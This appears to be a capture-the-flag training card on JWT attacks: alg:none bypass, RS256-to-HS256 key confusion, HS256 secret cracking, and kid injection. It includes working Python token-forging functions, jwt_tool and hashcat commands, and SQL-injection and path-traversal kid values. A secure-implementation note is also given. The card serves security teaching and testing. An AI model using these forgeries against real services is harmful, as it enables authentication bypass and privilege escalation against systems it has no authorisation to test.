Browse CTFs New CTF Sign in

JWT Algorithm Confusion Attack: Exploiting Key Confusion and Asymmetric Misuse

encoding_crypto_classical Difficulty 1–5 30 min certifiable

Theory

Why This Matters

JWT algorithm confusion vulnerabilities have appeared repeatedly in production libraries. CVE-2015-9235 (jsonwebtoken < 4.2.2) allowed an attacker to use the alg:none bypass to forge arbitrary tokens. CVE-2016-5431 (python-jose) and CVE-2016-10555 (jwt-simple) were affected by the RS256→HS256 confusion attack. Auth0 published a detailed disclosure in 2015 describing how their own SDK was exploitable via the RS256→HS256 attack if the server did not whitelist algorithms. PortSwigger Web Security Academy includes JWT attacks as a core module, reflecting how frequently this class appears in real penetration tests. Any web application using JWTs for session management or API authentication is potentially vulnerable if the verification code reads the algorithm from the token header rather than enforcing a fixed expected algorithm.

Core Concept

A JSON Web Token (JWT) consists of three base64url-encoded parts: header.payload.signature. The header specifies the algorithm (alg) used to sign the token. A secure implementation must ignore the alg field in the token header and enforce the algorithm the server expects. When the server uses the header's alg field to select the verification algorithm, three attack families become available.

Attack 1 — alg:none bypass: The JWT specification includes "none" as a valid algorithm, meaning "unsecured JWT — no signature." A server that accepts alg:none will verify any token with an empty signature as valid. The attacker simply base64url-encodes a modified header with {"alg":"none","typ":"JWT"}, encodes a modified payload with elevated privileges, and concatenates them with an empty signature (or a trailing dot).

Attack 2 — RS256→HS256 algorithm confusion: Many servers support both RS256 (asymmetric, sign with private key, verify with public key) and HS256 (symmetric, sign and verify with the same secret). When a server switches from RS256 to HS256 based on the token header, it uses its own public key as the HMAC secret for HS256 verification. An attacker who knows the server's public key (often published at /.well-known/jwks.json or obtainable from any valid token) can sign a forged token with HS256 using that public key as the HMAC key. The server, on receiving a token with alg:HS256, computes HMAC(public_key, header.payload) and compares — which matches the attacker's forgery.

Attack 3 — Weak HS256 secret brute-force: If the server uses HS256 with a weak or short secret (dictionary word, short random string), hashcat can brute-force the signing secret offline: hashcat -a 0 -m 16500 <token> wordlist.txt. Once the secret is known, the attacker signs arbitrary claims.

Attack 4 — kid (Key ID) injection: The kid header parameter specifies which key the server should use for verification. If the server uses kid to look up a key from a file path or database and does not sanitise the value, SQL injection (kid = "' OR '1'='1") or path traversal (kid = "../../dev/null") can cause the server to verify against an attacker-controlled key or an empty/null key.

Technical Deep-Dive

# JWT attack toolkit — jwt_tool usage and manual construction
# Prerequisites: pip install pyjwt requests
# jwt_tool: https://github.com/ticarpi/jwt_tool

import base64, json, hmac, hashlib

def b64url_encode(data):
    if isinstance(data, str):
        data = data.encode()
    return base64.urlsafe_b64encode(data).rstrip(b'=').decode()

def b64url_decode(s):
    padding = 4 - len(s) % 4
    return base64.urlsafe_b64decode(s + '=' * padding)

# --- Attack 1: alg:none bypass ---
def forge_alg_none(original_token, modified_claims):
    """
    Forge a JWT with alg:none — valid on servers that accept unsigned tokens.
    modified_claims: dict of claims to put in the new payload
    """
    new_header  = b64url_encode(json.dumps({"alg": "none", "typ": "JWT"}))
    new_payload = b64url_encode(json.dumps(modified_claims))
    # Signature is empty; trailing dot is required by spec
    forged = f"{new_header}.{new_payload}."
    return forged

# --- Attack 2: RS256 -> HS256 confusion ---
def forge_hs256_with_pubkey(modified_claims, public_key_pem_bytes):
    """
    Sign a forged JWT with HS256 using the server's RSA public key as the HMAC secret.
    public_key_pem_bytes: bytes of the PEM-encoded public key (as the HMAC key)
    """
    header  = b64url_encode(json.dumps({"alg": "HS256", "typ": "JWT"}))
    payload = b64url_encode(json.dumps(modified_claims))
    signing_input = f"{header}.{payload}".encode()
    # HMAC-SHA256 with public key bytes as key
    sig = hmac.new(public_key_pem_bytes, signing_input, hashlib.sha256).digest()
    signature = b64url_encode(sig)
    return f"{header}.{payload}.{signature}"

# --- Attack 3: Brute-force HS256 secret with hashcat (shell command) ---
# hashcat -a 0 -m 16500 <full_jwt_token> /usr/share/wordlists/rockyou.txt
# Once secret found, sign arbitrary claims:
# import jwt; jwt.encode({"sub":"admin","role":"admin"}, found_secret, algorithm="HS256")
# jwt_tool automated attacks:
# Install: git clone https://github.com/ticarpi/jwt_tool

# alg:none bypass:
python3 jwt_tool.py <TOKEN> -X a

# RS256 -> HS256 confusion (provide public key):
python3 jwt_tool.py <TOKEN> -X k -pk public_key.pem

# Crack HS256 secret:
python3 jwt_tool.py <TOKEN> -C -d /usr/share/wordlists/rockyou.txt

# kid SQL injection (test various payloads):
python3 jwt_tool.py <TOKEN> -I -hc kid -hv "../../dev/null"

# Tamper with a specific claim and resign:
python3 jwt_tool.py <TOKEN> -T -S hs256 -p "found_secret"

Cryptanalysis Methodology

  1. Decode and inspect the token — Base64url-decode the header and payload. Identify the alg, kid, jku, x5u, and jwk header fields. Note the claims (sub, role, admin, iss, exp).
  2. Attempt alg:none — Forge a token with "alg":"none" and an empty signature. Submit to the application. If accepted, the server does not enforce algorithm whitelisting.
  3. Obtain the public key — Check /.well-known/jwks.json, /api/auth/keys, certificate transparency logs, or decode the jwk header field from a valid token.
  4. Attempt RS256→HS256 confusion — Forge a token signed with HMAC-SHA256 using the public key PEM bytes as the secret. Submit. If accepted, the server selects the algorithm from the token header.
  5. Brute-force HS256 secret — Run hashcat -m 16500 against the original token with a wordlist. If the secret cracks, sign arbitrary claims.
  6. Test kid injection — Substitute the kid field with SQL injection payloads, null byte paths, or ../../dev/null (causes HMAC with empty key). Use jwt_tool's --inject mode for automated testing.

Secure Implementation Note — Always enforce a fixed, expected algorithm on the server side: whitelist only the algorithm(s) your application uses and reject tokens with any other alg value, including "none". Never allow the token header to control which algorithm is used for verification. Use a well-maintained JWT library (PyJWT ≥ 2.0, python-jose ≥ 3.3 with explicit algorithm parameter) and pass algorithms=["RS256"] (or your chosen algorithm) explicitly to the decode() call. Rotate secrets regularly and use at least 256 bits of entropy for HS256 keys.

Common Cryptanalysis Errors

  • Forgetting the trailing dot in alg:none tokens — The JWT format requires three parts separated by dots: header.payload.signature. The signature part must exist (as an empty string); omitting the trailing dot causes parse errors in some libraries.
  • Using the public key in the wrong format for HS256 confusion — Some libraries expect raw DER bytes, others the full PEM string. Test both formats if the initial attempt fails.
  • Not base64url-encoding correctly — JWT uses base64url (not standard base64): replaces + with - and / with _, and strips = padding. Standard base64.b64encode() produces invalid JWT components.
  • Assuming the original signature length must be preserved — When switching algorithms, the signature length changes. Some naive parsers check length; most do not. Try anyway.
  • Overlooking the exp (expiration) claim — A forged token may be rejected not because of a signature failure but because the exp claim is in the past. Always set exp to a future timestamp in forged tokens.
  • Confusing JWS with JWE — JWT can be signed (JWS) or encrypted (JWE). The algorithm confusion attacks described here apply to JWS. JWE uses a different header structure and attack surface.

NICE Framework Alignment

Code Knowledge/Skill/Task Statement How This Card Develops It
K0007 Knowledge of authentication, authorisation, and access control methods Demonstrates how JWT algorithm confusion enables complete authentication bypass and privilege escalation
K0018 Knowledge of encryption algorithms and their weaknesses Explains the asymmetric/symmetric confusion at the HMAC and RSA algorithm interface
K0019 Knowledge of cryptography and cryptographic key management Shows the criticality of server-side algorithm enforcement independent of token-provided metadata
K0074 Knowledge of network security protocols Contextualises JWT attacks within web authentication protocols and API security
S0138 Skill in using public-key infrastructure tools Trains use of jwt_tool and hashcat mode 16500 for automated JWT attack execution
T0259 Use cryptanalysis tools to recover plaintext from ciphertext Provides complete methodology from token inspection through algorithm confusion forgery

Further Reading

  • Ptacek, T. (2015). Critical Vulnerabilities in JSON Web Token Libraries — auth0.com security advisory
  • PortSwigger Web Security Academy: JWT Attacks — portswigger.net/web-security/jwt
  • RFC 7519: JSON Web Token (JWT) — IETF; RFC 7518: JSON Web Algorithms (JWA) — IETF

Challenge Lab

Reinforce your learning with a hands-on generated challenge based on this card's competency.